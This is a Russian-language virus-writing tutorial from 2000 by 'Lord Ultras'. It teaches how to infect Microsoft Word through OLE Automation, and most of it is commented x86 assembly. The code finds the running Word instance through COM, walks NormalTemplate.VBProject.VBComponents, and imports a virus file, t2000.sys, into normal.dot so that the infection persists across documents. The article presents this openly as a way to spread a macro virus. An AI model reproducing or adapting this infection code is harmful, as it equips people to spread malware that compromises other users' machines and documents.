![]() |
![]() |
![]() |
В этой статье речь пойдет о заражение word с помощью OLE_api. Данный метод был придуман вирмакером T2000. Этот метод давольно прост. Мы ищем в OLE активных объектах идентификатор W0rd, потом индефикаторы вордовских команд. Если все прошло успешно то импортируем файл t2000.sys. Win32 OLE Automation code snippet ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Схема Заражения: 1. Инстализируем COM библиотеку. 2. Проверяем есть ли в данный момент в базе OLE, индентификатор w0rd 3. Если есть получаем индентификатор w0rd и некоторых команд, которые понадобиться при работе. 4. Копируем строку которая понадобиться нам в дальнейшем для import файла с диска в normal.dot 5. Задаем и запукаем команды VBA на импорт файла t2000.sys в normal.dot start: ~~~~~~ ; Данная Api функция инстализирует библиотеку ; Component Object Model(COM). Это API функция ; должна быть обязательно запущено перед тем как вы будите использовать ; библиотеку COM. push 0 ; Reserved, must be NULL call CoInitialize ; Это API функция проверяет активен W0rd в данный момент. push esi ; возвращает указатель на требуемый активыный объект push 0 call WordID ; параметры ID объекта W0rd word_clsid: dd 000209FFh dw 0 ; Должен быть zer0 dw 0 db 0c0h, 0, 0, 0, 0, 0, 0, 46h ; указатель на ID активного объекта который в данный момент word_clsid: call GetActiveObject ; находиться в бызе OLE (в данный момент нам нужен W0rd) ; Тут получаем dispatcher ID для дальнейшей работы c Word объектами push edi call param_id id_dispatch dd 00020400h ; dispatcher ID dw 0 ; Должен быть zer0 dw 0 db 0c0h, 0, 0, 0, 0, 0, 0, 46h param_id: push dword ptr [esi] lodsd mov eax,[eax] call [eax] ; Это API функция создает и копируют строку, короче куда вам нужно! call string dw '\', 't', '2', '0','0','0', '.', 's', 'y', 's', 0 ; строка которая нам понадобиться string: call SysAllocString ; Теперь после этих всех операций мы имеем активный W0rd в которой мы должны засунуть наш файл ; t2000.sys. ; OpzZzz. Начинает самая муторная хер*я, с которой я очень долго мучилось и некоторые моменты до конца так и непонял. ; Хочу сразу поблагодарить T2000 за помощь которою он мне оказал. DISPPARAMS struc Arguments dd 0 ; Аргументы Disp_IDs dd 0 ; Dispatch ID's и имена их аргументов Argument_Count dd 0 ; Число аргументов Disp_ID_Count dd 0 ; Число имен аргументов DISPPARAMS ends NormalTemplate equ 08h ; dispatcher ID команд VBProject equ 63h VBComponents equ 87h Import equ 0Dh Argument_Variant: dw VT_BSTR ; Union type. dw 0 ; Reserved. dw 0 ; Reserved. dw 0 ; Reserved. Variant_Union dd 0 dd 0 ; число параметров: Disp_Params: dd 0 ; NormalTemplate dd 0 ; VBProject dd 0 ; VBComponents dd 0 ; Import("c:\t2000.sys") mov edi,[edi] mov dl,NormalTemplate ; задаем параметр NormalTemplate call Invoke_Disp_Get mov dl,VBProject ; задаем параметр VBProject call Invoke_Disp_Get mov dl,VBComponents ; задаем параметр VBComponents call Invoke_Disp_Get lea eax, [ebp+(Argument_Variant-start)] ; таблица аргументов понадобиться для того чтобы выполнить import ; файла t2000.sys mov [ebp+(Disp_Params-start).Arguments], EAX ; параметры dispatcher inc dword ptr [ebp+(Disp_Params-start).Argument_Count] mov dl,Import ; задаем последний параметр Import("c:\t2000.sys") call Invoke_Disp_Do ; и запускаем уже полноценую команду w0rd: ; NormalTemplate.VBProject.VBComponents.Import("c:\t2000.sys") ; А вот и самая наверно главная процедура которая задает и запускает команды w0rd Invoke_Disp_Do: ; задаем параметр push DISPATCH_METHOD jmp POP_Action Invoke_Disp_Get: ; запускаем параметр push DISPATCH_PROPERTYGET POP_Action: pop ecx push 0 push 0 lea eax,[ebp+(Result_Variant-start)] push eax lea eax,[ebp+(Disp_Params-start)] push eax push ecx push LOCALE_SYSTEM_DEFAULT lea eax,[ebp+(IID_NULL-start)] push eax movzx edx,dl push edx push edi mov eax,[edi] call [eax+18h] ; вызываем команду mov edi, [ebp+(Result_Union-start)] or eax,eax retn DISPATCH_METHOD EQU 1h DISPATCH_PROPERTYGET EQU 2h DISPATCH_PROPERTYPUT EQU 4h DISPATCH_PROPERTYPUTREF EQU 8h LOCALE_USER_DEFAULT EQU 400h LOCALE_SYSTEM_DEFAULT EQU 800h DISPID_PROPERTYPUT EQU -3 VT_BSTR EQU 8 VT_BOOL EQU 11 ; После того как все сделали нужно будет деинстализировать COM библиотеку call CoUninitialize Существуют конечно и другие методы заражения w0rd с помощью OLE API, но они более сложные и об этих методах в дальнейшем я тоже напишу статью. Lord Ultras (c) 2000 Open your eyes... |
||
![]() |
![]() |
![]() |